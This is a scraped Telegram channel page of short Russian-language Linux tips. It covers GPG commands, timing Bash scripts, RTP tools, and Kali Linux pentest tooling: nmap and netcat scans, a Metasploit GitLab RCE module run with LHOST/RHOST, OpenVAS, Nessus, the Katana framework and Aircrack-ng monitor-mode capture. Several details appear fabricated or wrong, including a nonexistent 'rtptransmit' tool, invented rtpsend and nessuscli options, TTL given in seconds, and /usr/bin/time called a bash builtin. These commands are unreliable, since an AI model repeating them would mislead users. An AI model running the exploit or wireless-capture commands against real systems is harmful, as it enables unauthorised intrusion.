Linux для чайника – Telegram
Linux для чайника
20K subscribers
87 photos
4 files
78 links
Linux
- Разбор утилит / инструментов
- Новости / факты
- Опросы для проверки знаний, навыков
и многое другое.

Только по вопросам сотрудничества: @altmainf

Регистрация в перечне РКН https://clck.ru/3EpL9L
Download Telegram
Как извлечь файл из подписанного файла GPG

После проверки подписи может возникнуть интересный вопрос — а как, собственно, использовать этот файл в .gpg формате?

Чтобы получить подписанные данные нужно использовать опцию -d, которая используется для расшифровки данных.

В дополнении к данной опции нужно ещё использовать опцию -o, после которой нужно указать имя файла, куда будут извлечены подписанные данные - обычный редирект вывода, может не подойти, поскольку для подписанного файла опцией -d не только извлекаются исходные данные, но и происходит проверка подписи и результаты проверки тоже выводятся на экран, то есть если вы будете использовать редирект вывода, то в создаваемый файл попадут и подписанные данные, и информация о проверке подписи.

gpg -d -o test.php test.php.gpg
Существует несколько способов замерить время выполнения Bash-скрипта:

1. Использовать команду time, которая позволяет замерить реальное, пользовательское и системное время выполнения скрипта. Например:

time ./my_noscript.sh

2. В скрипте можно записать текущее время до и после выполнения основной части кода, а затем вычислить разницу. Для этого используют команду date с опцией +%s, которая выводит количество секунд, прошедших с начала эпохи Unix. Например:

start_time=$(date +%s)
# Запуск основного кода скрипта
end_time=$(date +%s)
elapsed_time=$(( end_time - start_time ))
echo "Время выполнения скрипта: $elapsed_time секунд"

3. Использовать утилиту bash-builtin time, которая работает аналогично команде time, но позволяет сохранить результаты замеров в файл. Например:

/usr/bin/time -a -o my_noscript.log ./my_noscript.sh

Здесь опция -a указывает, что результаты замеров будут добавлены в файл-лог, а опция -o определяет имя файла-лога.
Редактирования ключей GPG

Для редактирования ключа определённого пользователя выполните команду:

gpg --edit-key 'username'

Для отключения или включения публичного ключа в своём собственном public key ring:

gpg --batch --edit-key USERID disable
И:
gpg --batch --edit-key USERID enable

Для смены пароля приватного ключа:
gpg --batch --edit-key 'username' passwd

Изменить уровень доверия владельцу:
gpg --edit-key 'username' trust

Далее нужно будет сделать выбор, введя от 1 (Не знаю или не буду отвечать) до 5 (Абсолютно доверяю)
Как указать идентификатор пользователя в GPG

Идентификатор пользователя можно указать различными способами:

- полное имя и фамилия
- полный адрес электронной почты
- отпечаток ключа
- полный идентификатор пользователя (имя и фамилия, а также адрес электронной почты)
- частичное указание имени пользователя или адреса электронной почты
- другие способы (в целом их довольно много, причём, поддерживается множество операторов сравнения и тестирования условий)
Файлы GPG

gpg.conf - Стандартный конфигурационный файл, который gpg считывает при запуске.

~/.gnupg - домашняя папка по умолчанию

~/.gnupg/pubring.gpg - Публичный киринг (public keyring).

~/.gnupg/pubring.gpg.lock - файл блокировки для публичного киринга.

~/.gnupg/secring.gpg - Секретный киринг

~/.gnupg/trustdb.gpg - Доверенная база данных.

~/.gnupg/random_seed - Файл, используемый для сохранения состояния внутреннего пула случайных чисел.

~/.gnupg/openpgp-revocs.d/ - Директория, где хранятся предварительно сгенерированные сертификаты отзыва.
Как в GPG одновременно подписать и зашифровать файл

Для этого достаточно совмещать уже известные нам опции.

Чтобы зашифровать файл публичным ключом другого лица, и подписать его своим приватным ключом, нужно выполнить команду вида:

gpg -e -u 'от кого файл' -r 'кому файл' файл_для_шифрования

Чтобы использовалось симметричное шифрование, то к предыдущей конструкции достаточно добавить соответствующую опцию -c:

gpg -e -c -u 'от кого файл' -r 'кому файл' файл_для_шифрования
RTP Tools

Набор инструментов для тестирования и анализа сетевых соединений на основе протокола RTP, который используется в системах передачи видео, аудио и голосовой связи через Интернет.

Основные инструменты:
1. rtpdump: предназначен для анализа содержимого RTP-потока. Он позволяет просматривать данные RTP-пакета, такие как счетчики, тайминги, нагрузка и т.д.

2. rtpplay: позволяет проигрывать файлы, содержащие RTP-потоки обратно через сеть. Он может быть использован для тестирования RTP приложений и оборудования.

3. rtpsend: генерирует RTP-поток с заданной частотой дискретизации и скоростью передачи данных. Это можно использовать для тестирования оборудования и приложений.

4. rtptransmit: позволяет передавать файлы, содержащие RTP-потоки через сеть.
Анализируем RTP-пакеты

rtpdump - это утилита командной строки в Linux, которая позволяет анализировать содержимое RTP-потоков.

Примеры использования:

rtpdump -i eth0 -F ascii > output.txt
Данный пример захватывает все RTP-пакеты на сетевом интерфейсе eth0 и записывает их содержимое в текстовый файл output.txt в формате ASCII.

rtpdump -F hex -n -t 20200101010101 -u 172.16.0.1 < input.pcap > output.txt
Анализ RTP-потока, записанного в файл input.pcap, с использованием формата вывода hex, ограничивая вывод только пакетами с IP-адресом 172.16.0.1, записанными в период с 1 января 2020 года, 01:01:01, и сохраняя результат в файл output.txt.

rtpdump -r input.pcap -s 0 -t 20210101120000 -T s
Отображение статистики RTP-потока, записанного в файл input.pcap с использованием таймстампов из файла pcap, включая информацию о количестве переданных и принятых RTP-пакетов, среднем размере пакетов и задержке в секундах.
Воспроизводим записанные RTP-потоки

rtpplay - это утилита командной строки в Linux, которая позволяет воспроизводить записанные RTP-потоки.

Примеры использования:

rtpplay input.rtp
воспроизводит RTP-поток, записанный в файл input.rtp.

rtpplay -s 10 input.rtp
воспроизводит RTP-поток из файла input.rtp со смещением времени на 10 секунд.

rtpplay -T 50 input.rtp
воспроизводит RTP-поток из файла input.rtp с ограничением скорости 50%.

rtpplay input.rtp &
воспроизводит RTP-поток в фоновом режиме
Отправляем RTP-пакеты на удаленный хост

rtpsend - это утилита командной строки в Linux, которая позволяет отправлять RTP-пакеты на удаленный хост.

Примеры использования:

1. Отправка RTP-пакетов на удаленный хост:
rtpsend -a <удаленный IP-адрес> -p <порт> -F <формат> -f <файл с данными>

2. Отправка RTP-пакетов с использованием RTCP-отчетности:
rtpsend -a <удаленный IP-адрес> -p <порт> -F <формат> -f <файл с данными> -t <интервал RTCP>

3. Отправка RTP-пакетов с заданным TTL:
rtpsend -a <удаленный IP-адрес> -p <порт> -F <формат> -f <файл с данными> -T <TTL>
TTL - это время жизни пакета в секундах до его уничтожения, если он так и не достиг назначенного адресата.
Передача RTP-пакетов между двумя хостами

rtptransmit - это утилита командной строки в Linux, которая позволяет передавать RTP-пакеты между двумя хостами.

Примеры использования:
1. Передача RTP-пакетов между двумя хостами:
rtptransmit -a <адрес первого хоста> <порт> -z <адрес второго хоста> <порт> -F <формат> -f <файл с данными>

2. Передача RTP-пакетов с использованием RTCP-отчетности:
rtptransmit -a <адрес первого хоста> <порт> -z <адрес второго хоста> <порт> -F <формат> -f <файл с данными> -t <интервал RTCP>

3. Передача RTP-пакетов с разными типами:
rtptransmit -a <адрес первого хоста> <порт> -z <адрес второго хоста> <порт> -F <формат1> -f <файл с данными1> -F <формат2> -f <файл с данными2> ...

Для каждого типа пакетов задается формат через флаг -F и файл с данными через флаг -f. Можно указать любое количество пар флагов -F и -f.
Чем может быть полезен Kali Linux?

Kali Linux - это операционная система, разработанная специально для целей тестирования на проникновение и анализа безопасности.

1. Тестирование на проникновение. Предоставляет множество инструментов, которые могут использоваться для тестирования безопасности сетей, приложений и операционных систем. (сканирования портов, анализ уязвимостей, взлом паролей и т.д.)

2. Исследование безопасности. Предоставляет инструменты для мониторинга сетевого трафика, анализа логов операционной системы, проверки наличия вредоносного ПО и т.д.

3. Разработка безопасных приложений. Предоставляет инструменты для тестирования веб-приложений на уязвимости, для тестирования безопасности мобильных приложений, для работы с криптографией и проверки безопасности кода.

4. Обучение и обучающие цели. Можно использовать для обучения персонала по вопросам информационной безопасности или проведения тренировок по тестированию на проникновение.
С помощью каких инструментов можно просканировать порты в Kali Linux?

Для сканирования портов можно использовать Nmap и Netcat.

Nmap - это мощный инструмент для сканирования портов и анализа безопасности сети.

Пример:
nmap <IP адрес или доменное имя>

Также можно указать диапазон портов, который нужно просканировать, например:
nmap -p 1-1000 <IP адрес или доменное имя>

Netcat - это популярный инструмент для работы с сетевыми соединениями.

Пример:
nc -zv <IP адрес> <порт>
Анализ уязвимостей с помощью Metasploit

Metasploit - это популярный инструмент для тестирования на прочность безопасности сетей и приложений. Он позволяет исследовать уязвимости, эксплуатировать их и управлять удаленными системами.

Команда для запуска Metasploit:
msfconsole

Затем мы можем использовать модуль, который проверит наличие уязвимости в приложении:
use exploit/multi/http/gitlab_11_4_rce

После этого мы можем настроить параметры модуля и запустить атаку:
set LHOST 192.168.1.10
set RHOST 192.168.1.20
run
Поиск уязвимостей в сети с помощью Wireshark

Wireshark - это инструмент для анализа сетевого трафика, который позволяет проверять данные, проходящие через сеть, и находить уязвимости.

Команда для запуска Wireshark:
wireshark

Затем мы можем выбрать сетевой интерфейс и начать захват пакетов:
sudo wireshark -i eth0

После этого мы можем анализировать захваченные пакеты и искать уязвимости в сети.
Использование OpenVAS для сканирования уязвимостей

OpenVAS - это инструмент для сканирования уязвимостей, который предоставляет множество готовых проверок безопасности и позволяет автоматически сканировать веб-сервера, базы данных и другие уязвимые системы.

Команда для запуска OpenVAS:
systemctl start openvas-scanner && systemctl start openvas-manager && systemctl start gsad

Затем мы можем добавить новую цель и запустить сканирование:
omp -u admin -w admin -G --target=192.168.1.20
omp -u admin -w admin -T 192.168.1.20 -m scan
Использование Nessus для сканирования уязвимостей и обнаружения угроз безопасности

Nessus - это инструмент для сканирования уязвимостей сети, который обнаруживает уязвимости с помощью сканирования сети и анализа результатов.

Команда для запуска Nessus:
systemctl start nessusd

Затем мы можем создать новое сканирование и запустить процесс сканирования на целевом устройстве:
nessuscli scan new “Сканирование цели” -t 192.168.1.20
nessuscli scan launch -n “Сканирование цели”
Набор инструментов для тестирования Katana

Katana - это набор инструментов, который предназначен для Kali Linux. Включает в себя более 100 инструментов, которые позволяют проводить тестирование безопасности сетей и приложений.

Чтобы установить Katana на Kali Linux, нужно выполнить несколько шагов:

1. Откройте терминал и выполните следующую команду:
git clone https://github.com/PowerScript/KatanaFramework.git

2. Перейдите в папку KatanaFramework:
cd KatanaFramework

3. Установите необходимые зависимости:
sudo ./dependencies

4. Запустите Katana:
sudo python katana.py

После этого откроется графический интерфейс, который позволит вам выбрать необходимый инструмент для проведения тестирования на проникновение.
Что такое Aircrack-ng?

Aircrack-ng - это набор утилит для анализа и взлома беспроводных сетей, который позволяет тестировать безопасность WiFi-сетей, искать уязвимости и проводить атаки на точки доступа.

1. Откройте терминал.
2. Убедитесь, что у вас установлены все необходимые пакеты:
sudo apt-get install build-essential libssl-dev libnl-3-dev libnl-genl-3-dev ethtool.
3. Скачайте Aircrack-ng с официального сайта:
wget https://download.aircrack-ng.org/aircrack-ng-1.6.tar.gz.
4. Распакуйте архив:
tar -zxvf aircrack-ng-1.6.tar.gz.
5. Перейдите в директорию Aircrack-ng:
cd aircrack-ng-1.6.

6. Выполните команду sudo make для сборки и установки утилит Aircrack-ng.
7. Дождитесь окончания процесса сборки.
8. Выполните команду sudo make install для установки утилит в систему.
9. После установки вы можете запустить Aircrack-ng, вызвав любую из его утилит через терминал.
Какие утилиты включает в себя Aircrack-ng?

1. Airodump-ng - утилита, которая используется для сбора пакетов с беспроводных сетей.

2. Airmon-ng - утилита, которая используется для управления беспроводными интерфейсами.

3. Aireplay-ng - утилита, которая используется для генерации трафика для сбора пакетов.

4. Aircrack-ng - утилита, которая используется для взлома защищенных беспроводных сетей.

5. Airdecap-ng - утилита, которая используется для декодирования зашифрованных пакетов, полученных с помощью Airodump-ng.

6. Airserv-ng - утилита, которая используется для запуска беспроводного сервиса на карте.

7. Airtun-ng - утилита, которая используется для создания беспроводных туннелей.
Утилита для сбора пакетов с беспроводных сетей Airodump-ng

Пример использования:
1. У вас должен быть установлен набор утилит Aircrack-ng

2. Введите команду sudo airmon-ng start wlan0, чтобы установить беспроводной интерфейс в мониторинговый режим.

3. Введите команду sudo airodump-ng wlan0mon, чтобы начать сбор пакетов.

4. Вы должны увидеть список беспроводных сетей, доступных в зоне действия. Сведения о каждой сети будут отображаться в соответствующих столбцах.

5. Для остановки сбора пакетов нажмите Ctrl+C. Вы можете использовать данные, полученные с помощью Airodump-ng, в качестве входных данных для других утилит в составе Aircrack-ng.